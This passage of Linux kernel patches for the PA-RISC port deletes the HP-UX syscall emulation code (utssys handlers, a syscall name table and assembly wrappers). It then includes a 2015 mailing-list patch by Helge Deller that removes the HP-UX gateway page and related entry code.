-		 */
-		if (!capable(CAP_SYS_ADMIN))
-			return -EPERM;
-		/*  Unlike Linux, HP-UX returns an error if n==0:  */
-		if ( n <= 0 )
-			return -EINVAL ;
-		/*  Unlike Linux, HP-UX truncates it if n is too big:  */
-		len = (n <= __NEW_UTS_LEN) ? n : __NEW_UTS_LEN ;
-		/**/
-		/*  TODO:  print a warning about using this?  */
-		down_write(&uts_sem);
-		error = -EFAULT;
-		if (!copy_from_user(utsname()->sysname, ubuf, len)) {
-			utsname()->sysname[len] = 0;
-			error = 0;
-		}
-		up_write(&uts_sem);
-		return error;
-		break ;
-	case 7:
-		/*  Sets utsname.release, if you're allowed.
-		 *  Undocumented.  Used by swinstall to change the
-		 *  OS version, during OS updates.  Yuck!!!
-		 *
-		 *  This code should look a lot like sys_sethostname()
-		 *  in linux/kernel/sys.c.  If that gets updated, update
-		 *  this code similarly.
-		 */
-		if (!capable(CAP_SYS_ADMIN))
-			return -EPERM;
-		/*  Unlike Linux, HP-UX returns an error if n==0:  */
-		if ( n <= 0 )
-			return -EINVAL ;
-		/*  Unlike Linux, HP-UX truncates it if n is too big:  */
-		len = (n <= __NEW_UTS_LEN) ? n : __NEW_UTS_LEN ;
-		/**/
-		/*  TODO:  print a warning about this?  */
-		down_write(&uts_sem);
-		error = -EFAULT;
-		if (!copy_from_user(utsname()->release, ubuf, len)) {
-			utsname()->release[len] = 0;
-			error = 0;
-		}
-		up_write(&uts_sem);
-		return error;
-		break ;
-	default:
-		/*  This system call returns -EFAULT if given an unknown type.
-	 	 *  Why not -EINVAL?  I don't know, it's just not what they did.
-	 	 */
-		return -EFAULT ;
-	}
-}
-
-int hpux_getdomainname(char __user *name, int len)
-{
- 	int nlen;
- 	int err = -EFAULT;
- 	
- 	down_read(&uts_sem);
- 	
-	nlen = strlen(utsname()->domainname) + 1;
-
-	if (nlen < len)
-		len = nlen;
-	if(len > __NEW_UTS_LEN)
-		goto done;
-	if(copy_to_user(name, utsname()->domainname, len))
-		goto done;
-	err = 0;
-done:
-	up_read(&uts_sem);
-	return err;
-	
-}
-
-int hpux_pipe(int *kstack_fildes)
-{
-	return do_pipe_flags(kstack_fildes, 0);
-}
-
-/* lies - says it works, but it really didn't lock anything */
-int hpux_lockf(int fildes, int function, off_t size)
-{
-	return 0;
-}
-
-int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
-{
-	char *fsname = NULL;
-	int len = 0;
-	int fstype;
-
-/*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
-  Args: 1 80057bf4 0 400179f0 0 0 0 */
-	printk(KERN_DEBUG "in hpux_sysfs\n");
-	printk(KERN_DEBUG "hpux_sysfs called with opcode = %d\n", opcode);
-	printk(KERN_DEBUG "hpux_sysfs called with arg1='%lx'\n", arg1);
-
-	if ( opcode == 1 ) { /* GETFSIND */	
-		char __user *user_fsname = (char __user *)arg1;
-		len = strlen_user(user_fsname);
-		printk(KERN_DEBUG "len of arg1 = %d\n", len);
-		if (len == 0)
-			return 0;
-		fsname = kmalloc(len, GFP_KERNEL);
-		if (!fsname) {
-			printk(KERN_DEBUG "failed to kmalloc fsname\n");
-			return 0;
-		}
-
-		if (copy_from_user(fsname, user_fsname, len)) {
-			printk(KERN_DEBUG "failed to copy_from_user fsname\n");
-			kfree(fsname);
-			return 0;
-		}
-
-		/* String could be altered by userspace after strlen_user() */
-		fsname[len - 1] = '\0';
-
-		printk(KERN_DEBUG "that is '%s' as (char *)\n", fsname);
-		if ( !strcmp(fsname, "hfs") ) {
-			fstype = 0;
-		} else {
-			fstype = 0;
-		}
-
-		kfree(fsname);
-
-		printk(KERN_DEBUG "returning fstype=%d\n", fstype);
-		return fstype; /* something other than default */
-	}
-
-
-	return 0;
-}
-
-
-/* Table of syscall names and handle for unimplemented routines */
-static const char * const syscall_names[] = {
-	"nosys",                  /* 0 */
-	"exit",                  
-	"fork",                  
-	"read",                  
-	"write",                 
-	"open",                   /* 5 */
-	"close",                 
-	"wait",                  
-	"creat",                 
-	"link",                  
-	"unlink",                 /* 10 */
-	"execv",                 
-	"chdir",                 
-	"time",                  
-	"mknod",                 
-	"chmod",                  /* 15 */
-	"chown",                 
-	"brk",                   
-	"lchmod",                
-	"lseek",                 
-	"getpid",                 /* 20 */
-	"mount",                 
-	"umount",                
-	"setuid",                
-	"getuid",                
-	"stime",                  /* 25 */
-	"ptrace",                
-	"alarm",                 
-	NULL,                    
-	"pause",                 
-	"utime",                  /* 30 */
-	"stty",                  
-	"gtty",                  
-	"access",                
-	"nice",                  
-	"ftime",                  /* 35 */
-	"sync",                  
-	"kill",                  
-	"stat",                  
-	"setpgrp3",              
-	"lstat",                  /* 40 */
-	"dup",                   
-	"pipe",                  
-	"times",                 
-	"profil",                
-	"ki_call",                /* 45 */
-	"setgid",                
-	"getgid",                
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 50 */
-	"acct",                  
-	"set_userthreadid",      
-	NULL,                    
-	"ioctl",                 
-	"reboot",                 /* 55 */
-	"symlink",               
-	"utssys",                
-	"readlink",              
-	"execve",                
-	"umask",                  /* 60 */
-	"chroot",                
-	"fcntl",                 
-	"ulimit",                
-	NULL,                    
-	NULL,                     /* 65 */
-	"vfork",                 
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 70 */
-	"mmap",                  
-	NULL,                    
-	"munmap",                
-	"mprotect",              
-	"madvise",                /* 75 */
-	"vhangup",               
-	"swapoff",               
-	NULL,                    
-	"getgroups",             
-	"setgroups",              /* 80 */
-	"getpgrp2",              
-	"setpgid/setpgrp2",      
-	"setitimer",             
-	"wait3",                 
-	"swapon",                 /* 85 */
-	"getitimer",             
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	"dup2",                   /* 90 */
-	NULL,                    
-	"fstat",                 
-	"select",                
-	NULL,                    
-	"fsync",                  /* 95 */
-	"setpriority",           
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	"getpriority",            /* 100 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 105 */
-	NULL,                    
-	NULL,                    
-	"sigvector",             
-	"sigblock",              
-	"sigsetmask",             /* 110 */
-	"sigpause",              
-	"sigstack",              
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 115 */
-	"gettimeofday",          
-	"getrusage",             
-	NULL,                    
-	NULL,                    
-	"readv",                  /* 120 */
-	"writev",                
-	"settimeofday",          
-	"fchown",                
-	"fchmod",                
-	NULL,                     /* 125 */
-	"setresuid",             
-	"setresgid",             
-	"rename",                
-	"truncate",              
-	"ftruncate",              /* 130 */
-	NULL,                    
-	"sysconf",               
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 135 */
-	"mkdir",                 
-	"rmdir",                 
-	NULL,                    
-	"sigcleanup",            
-	"setcore",                /* 140 */
-	NULL,                    
-	"gethostid",             
-	"sethostid",             
-	"getrlimit",             
-	"setrlimit",              /* 145 */
-	NULL,                    
-	NULL,                    
-	"quotactl",              
-	"get_sysinfo",           
-	NULL,                     /* 150 */
-	"privgrp",               
-	"rtprio",                
-	"plock",                 
-	NULL,                    
-	"lockf",                  /* 155 */
-	"semget",                
-	NULL,                    
-	"semop",                 
-	"msgget",                
-	NULL,                     /* 160 */
-	"msgsnd",                
-	"msgrcv",                
-	"shmget",                
-	NULL,                    
-	"shmat",                  /* 165 */
-	"shmdt",                 
-	NULL,                    
-	"csp/nsp_init",          
-	"cluster",               
-	"mkrnod",                 /* 170 */
-	"test",                  
-	"unsp_open",             
-	NULL,                    
-	"getcontext",            
-	"osetcontext",            /* 175 */
-	"bigio",                 
-	"pipenode",              
-	"lsync",                 
-	"getmachineid",          
-	"cnodeid/mysite",         /* 180 */
-	"cnodes/sitels",         
-	"swapclients",           
-	"rmtprocess",            
-	"dskless_stats",         
-	"sigprocmask",            /* 185 */
-	"sigpending",            
-	"sigsuspend",            
-	"sigaction",             
-	NULL,                    
-	"nfssvc",                 /* 190 */
-	"getfh",                 
-	"getdomainname",         
-	"setdomainname",         
-	"async_daemon",          
-	"getdirentries",          /* 195 */
-	NULL,                
-	NULL,               
-	"vfsmount",              
-	NULL,                    
-	"waitpid",                /* 200 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 205 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 210 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 215 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 220 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	"sigsetreturn",          
-	"sigsetstatemask",        /* 225 */
-	"bfactl",                
-	"cs",                    
-	"cds",                   
-	NULL,                    
-	"pathconf",               /* 230 */
-	"fpathconf",             
-	NULL,                    
-	NULL,                    
-	"nfs_fcntl",             
-	"ogetacl",                /* 235 */
-	"ofgetacl",              
-	"osetacl",               
-	"ofsetacl",              
-	"pstat",                 
-	"getaudid",               /* 240 */
-	"setaudid",              
-	"getaudproc",            
-	"setaudproc",            
-	"getevent",              
-	"setevent",               /* 245 */
-	"audwrite",              
-	"audswitch",             
-	"audctl",                
-	"ogetaccess",            
-	"fsctl",                  /* 250 */
-	"ulconnect",             
-	"ulcontrol",             
-	"ulcreate",              
-	"uldest",                
-	"ulrecv",                 /* 255 */
-	"ulrecvcn",              
-	"ulsend",                
-	"ulshutdown",            
-	"swapfs",                
-	"fss",                    /* 260 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 265 */
-	NULL,                    
-	"tsync",                 
-	"getnumfds",             
-	"poll",                  
-	"getmsg",                 /* 270 */
-	"putmsg",                
-	"fchdir",                
-	"getmount_cnt",          
-	"getmount_entry",        
-	"accept",                 /* 275 */
-	"bind",                  
-	"connect",               
-	"getpeername",           
-	"getsockname",           
-	"getsockopt",             /* 280 */
-	"listen",                
-	"recv",                  
-	"recvfrom",              
-	"recvmsg",               
-	"send",                   /* 285 */
-	"sendmsg",               
-	"sendto",                
-	"setsockopt",            
-	"shutdown",              
-	"socket",                 /* 290 */
-	"socketpair",            
-	"proc_open",             
-	"proc_close",            
-	"proc_send",             
-	"proc_recv",              /* 295 */
-	"proc_sendrecv",         
-	"proc_syscall",          
-	"ipccreate",             
-	"ipcname",               
-	"ipcnamerase",            /* 300 */
-	"ipclookup",             
-	"ipcselect",             
-	"ipcconnect",            
-	"ipcrecvcn",             
-	"ipcsend",                /* 305 */
-	"ipcrecv",               
-	"ipcgetnodename",        
-	"ipcsetnodename",        
-	"ipccontrol",            
-	"ipcshutdown",            /* 310 */
-	"ipcdest",               
-	"semctl",                
-	"msgctl",                
-	"shmctl",                
-	"mpctl",                  /* 315 */
-	"exportfs",              
-	"getpmsg",               
-	"putpmsg",               
-	"strioctl",              
-	"msync",                  /* 320 */
-	"msleep",                
-	"mwakeup",               
-	"msem_init",             
-	"msem_remove",           
-	"adjtime",                /* 325 */
-	"kload",                 
-	"fattach",               
-	"fdetach",               
-	"serialize",             
-	"statvfs",                /* 330 */
-	"fstatvfs",              
-	"lchown",                
-	"getsid",                
-	"sysfs",                 
-	NULL,                     /* 335 */
-	NULL,                    
-	"sched_setparam",        
-	"sched_getparam",        
-	"sched_setscheduler",    
-	"sched_getscheduler",     /* 340 */
-	"sched_yield",           
-	"sched_get_priority_max",
-	"sched_get_priority_min",
-	"sched_rr_get_interval", 
-	"clock_settime",          /* 345 */
-	"clock_gettime",         
-	"clock_getres",          
-	"timer_create",          
-	"timer_delete",          
-	"timer_settime",          /* 350 */
-	"timer_gettime",         
-	"timer_getoverrun",      
-	"nanosleep",             
-	"toolbox",               
-	NULL,                     /* 355 */
-	"getdents",              
-	"getcontext",            
-	"sysinfo",               
-	"fcntl64",               
-	"ftruncate64",            /* 360 */
-	"fstat64",               
-	"getdirentries64",       
-	"getrlimit64",           
-	"lockf64",               
-	"lseek64",                /* 365 */
-	"lstat64",               
-	"mmap64",                
-	"setrlimit64",           
-	"stat64",                
-	"truncate64",             /* 370 */
-	"ulimit64",              
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                     /* 375 */
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	NULL,                    
-	"setcontext",             /* 380 */
-	"sigaltstack",           
-	"waitid",                
-	"setpgrp",               
-	"recvmsg2",              
-	"sendmsg2",               /* 385 */
-	"socket2",               
-	"socketpair2",           
-	"setregid",              
-	"lwp_create",            
-	"lwp_terminate",          /* 390 */
-	"lwp_wait",              
-	"lwp_suspend",           
-	"lwp_resume",            
-	"lwp_self",              
-	"lwp_abort_syscall",      /* 395 */
-	"lwp_info",              
-	"lwp_kill",              
-	"ksleep",                
-	"kwakeup",               
-	"ksleep_abort",           /* 400 */
-	"lwp_proc_info",         
-	"lwp_exit",              
-	"lwp_continue",          
-	"getacl",                
-	"fgetacl",                /* 405 */
-	"setacl",                
-	"fsetacl",               
-	"getaccess",             
-	"lwp_mutex_init",        
-	"lwp_mutex_lock_sys",     /* 410 */
-	"lwp_mutex_unlock",      
-	"lwp_cond_init",         
-	"lwp_cond_signal",       
-	"lwp_cond_broadcast",    
-	"lwp_cond_wait_sys",      /* 415 */
-	"lwp_getscheduler",      
-	"lwp_setscheduler",      
-	"lwp_getprivate",        
-	"lwp_setprivate",        
-	"lwp_detach",             /* 420 */
-	"mlock",                 
-	"munlock",               
-	"mlockall",              
-	"munlockall",            
-	"shm_open",               /* 425 */
-	"shm_unlink",            
-	"sigqueue",              
-	"sigwaitinfo",           
-	"sigtimedwait",          
-	"sigwait",                /* 430 */
-	"aio_read",              
-	"aio_write",             
-	"lio_listio",            
-	"aio_error",             
-	"aio_return",             /* 435 */
-	"aio_cancel",            
-	"aio_suspend",           
-	"aio_fsync",             
-	"mq_open",               
-	"mq_unlink",              /* 440 */
-	"mq_send",               
-	"mq_receive",            
-	"mq_notify",             
-	"mq_setattr",            
-	"mq_getattr",             /* 445 */
-	"ksem_open",             
-	"ksem_unlink",           
-	"ksem_close",            
-	"ksem_destroy",          
-	"lw_sem_incr",            /* 450 */
-	"lw_sem_decr",           
-	"lw_sem_read",           
-	"mq_close",              
-};
-static const int syscall_names_max = 453;
-
-int
-hpux_unimplemented(unsigned long arg1,unsigned long arg2,unsigned long arg3,
-		   unsigned long arg4,unsigned long arg5,unsigned long arg6,
-		   unsigned long arg7,unsigned long sc_num)
-{
-	/* NOTE: sc_num trashes arg8 for the few syscalls that actually
-	 * have a valid 8th argument.
-	 */
-	const char *name = NULL;
-	if ( sc_num <= syscall_names_max && sc_num >= 0 ) {
-		name = syscall_names[sc_num];
-	}
-
-	if ( name ) {
-		printk(KERN_DEBUG "Unimplemented HP-UX syscall emulation. Syscall #%lu (%s)\n",
-		sc_num, name);
-	} else {
-		printk(KERN_DEBUG "Unimplemented unknown HP-UX syscall emulation. Syscall #%lu\n",
-		sc_num);
-	}
-	
-	printk(KERN_DEBUG "  Args: %lx %lx %lx %lx %lx %lx %lx\n",
-		arg1, arg2, arg3, arg4, arg5, arg6, arg7);
-
-	return -ENOSYS;
-}
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
deleted file mode 100644
index 58c53c8..0000000
--- a/arch/parisc/hpux/wrappers.S
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Linux/PARISC Project (http://www.parisc-linux.org/)
- *
- * HP-UX System Call Wrapper routines and System Call Return Path
- *
- * Copyright (C) 2000 Hewlett-Packard (John Marvin)
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2, or (at your option)
- *    any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
- */
-
-#ifdef CONFIG_64BIT
-#warning PA64 support needs more work...did first cut
-#endif
-
-#include <asm/asm-offsets.h>
-#include <asm/assembly.h>
-#include <asm/signal.h>
-#include <linux/linkage.h>
-
-	.level	LEVEL
-	.text
-
-	/* These should probably go in a header file somewhere.
-	 * They are duplicated in kernel/wrappers.S
-	 * Possibly we should consider consolidating these
-	 * register save/restore macros.
-	 */
-	.macro	reg_save regs
-#ifdef CONFIG_64BIT
-#warning NEEDS WORK for 64-bit
-#endif
-	STREG	%r3, PT_GR3(\regs)
-	STREG	%r4, PT_GR4(\regs)
-	STREG	%r5, PT_GR5(\regs)
-	STREG	%r6, PT_GR6(\regs)
-	STREG	%r7, PT_GR7(\regs)
-	STREG	%r8, PT_GR8(\regs)
-	STREG	%r9, PT_GR9(\regs)
-	STREG	%r10,PT_GR10(\regs)
-	STREG	%r11,PT_GR11(\regs)
-	STREG	%r12,PT_GR12(\regs)
-	STREG	%r13,PT_GR13(\regs)
-	STREG	%r14,PT_GR14(\regs)
-	STREG	%r15,PT_GR15(\regs)
-	STREG	%r16,PT_GR16(\regs)
-	STREG	%r17,PT_GR17(\regs)
-	STREG	%r18,PT_GR18(\regs)
-	.endm
-
-	.macro	reg_restore regs
-	LDREG	PT_GR3(\regs), %r3
-	LDREG	PT_GR4(\regs), %r4
-	LDREG	PT_GR5(\regs), %r5
-	LDREG	PT_GR6(\regs), %r6
-	LDREG	PT_GR7(\regs), %r7
-	LDREG	PT_GR8(\regs), %r8
-	LDREG	PT_GR9(\regs), %r9
-	LDREG	PT_GR10(\regs),%r10
-	LDREG	PT_GR11(\regs),%r11
-	LDREG	PT_GR12(\regs),%r12
-	LDREG	PT_GR13(\regs),%r13
-	LDREG	PT_GR14(\regs),%r14
-	LDREG	PT_GR15(\regs),%r15
-	LDREG	PT_GR16(\regs),%r16
-	LDREG	PT_GR17(\regs),%r17
-	LDREG	PT_GR18(\regs),%r18
-	.endm
-
-
-	.import sys_fork
-
-ENTRY(hpux_fork_wrapper)
-	ldo	TASK_REGS-TASK_SZ_ALGN-64(%r30),%r1	    ;! get pt regs
-							    ;! pointer in task
-	reg_save %r1
-
-	STREG	%r2,-20(%r30)
-	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
-	STREG	%r30,PT_GR21(%r1)	;! save for child
-
-	LDREG	PT_GR30(%r1),%r25
-	mtctl	%r25,%cr29
-	copy	%r1,%r24
-	bl	sys_clone,%r2
-	ldi	SIGCHLD,%r26
-
-	LDREG	-84(%r30),%r2
-fork_return:
-	ldo	-64(%r30),%r30
-	ldo	TASK_REGS-TASK_SZ_ALGN-64(%r30),%r1	    ;! get pt regs
-
-	reg_restore %r1
-
-	/*
-	 * HP-UX wants pid (child gets parent pid, parent gets child pid)
-	 * in r28 and a flag in r29 (r29 == 1 for child, 0 for parent).
-	 * Linux fork returns 0 for child, pid for parent. Since HP-UX
-	 * libc stub throws away parent pid and returns 0 for child,
-	 * we'll just return 0 for parent pid now. Only applications
-	 * that jump directly to the gateway page (not supported) will
-	 * know the difference. We can fix this later if necessary.
-	 */
-
-	ldo	-1024(%r0),%r1
-	comb,>>=,n %r28,%r1,fork_exit  /* just let the syscall exit handle it */
-	or,=	%r28,%r0,%r0
-	or,tr	%r0,%r0,%r29	/* r28 <> 0, we are parent, set r29 to 0 */
-	ldo	1(%r0),%r29 	/* r28 == 0, we are child,  set r29 to 1 */
-
-fork_exit:
-	bv	%r0(%r2)
-	nop
-ENDPROC(hpux_fork_wrapper)
-
-	/* Set the return value for the child */
-
-ENTRY(hpux_child_return)
-#if defined(CONFIG_SMP) || defined(CONFIG_PREEMPT)
-	bl,n	schedule_tail, %r2
-#endif
-
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
-	b fork_return
-	copy %r0,%r28
-ENDPROC(hpux_child_return)
-
-	.import hpux_execve
-
-ENTRY(hpux_execv_wrapper)
-	copy %r0,%r24  /* NULL environment */
-
-ENTRY(hpux_execve_wrapper)
-
-	ldo	TASK_REGS-TASK_SZ_ALGN-64(%r30),%r1	    ;! get pt regs
-
-	/*
-	 * Do we need to save/restore r3-r18 here?
-	 * I don't think so. why would new thread need old
-	 * threads registers?
-	 */
-
-	/* Store arg0, arg1 and arg2 so that hpux_execve will find them */
-
-	STREG %r26,PT_GR26(%r1)
-	STREG %r25,PT_GR25(%r1)
-	STREG %r24,PT_GR24(%r1)
-
-	STREG %r2,-20(%r30)
-	ldo 64(%r30),%r30
-	bl hpux_execve,%r2
-	copy %r1,%arg0
-
-	ldo -64(%r30),%r30
-	LDREG	-20(%r30),%r2
-
-	/* If exec succeeded we need to load the args */
-
-	ldo -1024(%r0),%r1
-	comb,>>= %r28,%r1,exec_error
-	copy %r2,%r19
-	ldo	-TASK_SZ_ALGN-64(%r30),%r1	   ;! get task ptr
-	LDREG	TASK_PT_GR26(%r1),%r26
-	LDREG	TASK_PT_GR25(%r1),%r25
-	LDREG	TASK_PT_GR24(%r1),%r24
-	LDREG	TASK_PT_GR23(%r1),%r23
-	copy %r0,%r2	/* Flag to syscall_exit not to clear args */
-
-exec_error:
-	bv %r0(%r19)
-	nop
-ENDPROC(hpux_execv_wrapper)
-
-	.import hpux_pipe
-
-	/* HP-UX expects pipefd's returned in r28 & r29 */
-
-ENTRY(hpux_pipe_wrapper)
-	STREG %r2,-20(%r30)
-	ldo 64(%r30),%r30
-	bl hpux_pipe,%r2
-	ldo -56(%r30),%r26 /* pass local array to hpux_pipe */
-
-
-	ldo -1024(%r0),%r1
-	comb,>>= %r28,%r1,pipe_exit /* let syscall exit handle it */
-	LDREG	-84(%r30),%r2
-
-	/* if success, load fd's from stack array */
-
-	LDREG	-56(%r30),%r28
-	LDREG	-52(%r30),%r29
-
-pipe_exit:
-	bv %r0(%r2)
-	ldo -64(%r30),%r30
-ENDPROC(hpux_pipe_wrapper)
-
-	.import syscall_exit
-
-ENTRY(hpux_syscall_exit)
-	/*
-	 *
-	 * HP-UX call return conventions:
-	 *
-	 * if error:
-	 *	 r22 = 1
-	 *	 r28 = errno value
-	 *	 r29 = secondary return value
-	 * else
-	 *	 r22 = 0
-	 *	 r28 = return value
-	 *	 r29 = secondary return value
-	 *
-	 * For now, we'll just check to see if r28 is < (unsigned long)-1024
-	 * (to handle addresses > 2 Gb) and if so set r22 to zero. If not,
-	 * we'll complement r28 and set r22 to 1. Wrappers will be
-	 * needed for syscalls that care about the secondary return value.
-	 * The wrapper may also need a way of avoiding the following code,
-	 * but we'll deal with that when it becomes necessary.
-	 */
-
-	ldo -1024(%r0),%r1
-	comb,<< %r28,%r1,no_error
-	copy %r0,%r22
-	subi 0,%r28,%r28
-	ldo 1(%r0),%r22
-
-no_error:
-	b,n syscall_exit
-ENDPROC(hpux_syscall_exit)
-
-	.import hpux_unimplemented

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: hpux - Remove hpux gateway page
Date: Mon, 16 Feb 2015 22:21:00 +0100
Lines: 181
Approved: news@gmane.org
Message-ID: <20150216212100.GA1807@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424121677 6846 80.91.229.3 (16 Feb 2015 21:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:21:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:21:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNT6M-0000UH-2s
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 22:21:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751277AbbBPVVJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 16:21:09 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:52001 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbbBPVVI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 16:21:08 -0500
Original-Received: from ls3530.box ([84.173.26.201]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MOOpx-1YTDit2CnN-005t1d; Mon, 16 Feb 2015 22:21:02
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Vxgn/43k1rSUNFVFjZbmVAhfzOEo5B8oa/u1yxDykxkEVdgSpU6
 mJz9VIq4k+H8rSszXumo4py/L3i8T/VgyBrJogKf8WulBZnFoUi8VEIDwPuFVrVwl9OVzeX
 GtQMI4Mli4olDpzq3N9nxPEdmpBVAHMISOy45YMIx/gTM2n5LjgJRRjty7geEVQ5k18ZTrE
 iS8FD4t1JnLYn+F/t0mWg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25574>

Drop code to create HP-UX gateway page and syscall entry code.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 689a8ad..54adb60 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -330,8 +330,6 @@ struct mm_struct;
 /* Free all resources held by a thread. */
 extern void release_thread(struct task_struct *);
 
-extern void map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm);
-
 extern unsigned long get_wchan(struct task_struct *p);
 
 #define KSTK_EIP(tsk)	((tsk)->thread.regs.iaoq[0])
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index e8f07dd..2ab16bb 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1774,10 +1774,6 @@ ENTRY(sys_rt_sigreturn_wrapper)
 ENDPROC(sys_rt_sigreturn_wrapper)
 
 ENTRY(syscall_exit)
-	/* NOTE: HP-UX syscalls also come through here
-	 * after hpux_syscall_exit fixes up return
-	 * values. */
-
 	/* NOTE: Not all syscalls exit this way.  rt_sigreturn will exit
 	 * via syscall_exit_rfi if the signal was received while the process
 	 * was running.
@@ -1789,22 +1785,6 @@ ENTRY(syscall_exit)
 	LDREG     TI_TASK(%r1),%r1
 	STREG     %r28,TASK_PT_GR28(%r1)
 
-#ifdef CONFIG_HPUX
-/* <linux/personality.h> cannot be easily included */
-#define PER_HPUX 0x10
-	ldw	TASK_PERSONALITY(%r1),%r19
-
-	/* We can't use "CMPIB<> PER_HPUX" since "im5" field is sign extended */
-	ldo	  -PER_HPUX(%r19), %r19
-	cmpib,COND(<>),n 0,%r19,1f
-
-	/* Save other hpux returns if personality is PER_HPUX */
-	STREG     %r22,TASK_PT_GR22(%r1)
-	STREG     %r29,TASK_PT_GR29(%r1)
-1:
-
-#endif /* CONFIG_HPUX */
-
 	/* Seems to me that dp could be wrong here, if the syscall involved
 	 * calling a module, and nothing got round to restoring dp on return.
 	 */
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..8a488c2 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -193,9 +193,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 	 * Make them const so the compiler knows they live in .text */
 	extern void * const ret_from_kernel_thread;
 	extern void * const child_return;
-#ifdef CONFIG_HPUX
-	extern void * const hpux_child_return;
-#endif
+
 	if (unlikely(p->flags & PF_KTHREAD)) {
 		memset(cregs, 0, sizeof(struct pt_regs));
 		if (!usp) /* idle thread */
@@ -229,15 +227,8 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 				cregs->gr[30] = usp;
 		}
 		cregs->ksp = (unsigned long)stack + THREAD_SZ_ALGN + FRAME_SIZE;
-		if (personality(p->personality) == PER_HPUX) {
-#ifdef CONFIG_HPUX
-			cregs->kpc = (unsigned long) &hpux_child_return;
-#else
-			BUG();
-#endif
-		} else {
-			cregs->kpc = (unsigned long) &child_return;
-		}
+		cregs->kpc = (unsigned long) &child_return;
+
 		/* Setup thread TLS area from the 4th parameter in clone */
 		if (clone_flags & CLONE_SETTLS)
 			cregs->cr27 = cregs->gr[23];
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 9b910a0..81e749f 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -9,8 +9,7 @@
  *
  *  Like the IA-64, we are a recent enough port (we are *starting*
  *  with glibc2.2) that we do not need to support the old non-realtime
- *  Linux signals.  Therefore we don't.  HP/UX signals will go in
- *  arch/parisc/hpux/signal.c when we figure out how to do them.
+ *  Linux signals.  Therefore we don't.
  */
 
 #include <linux/sched.h>
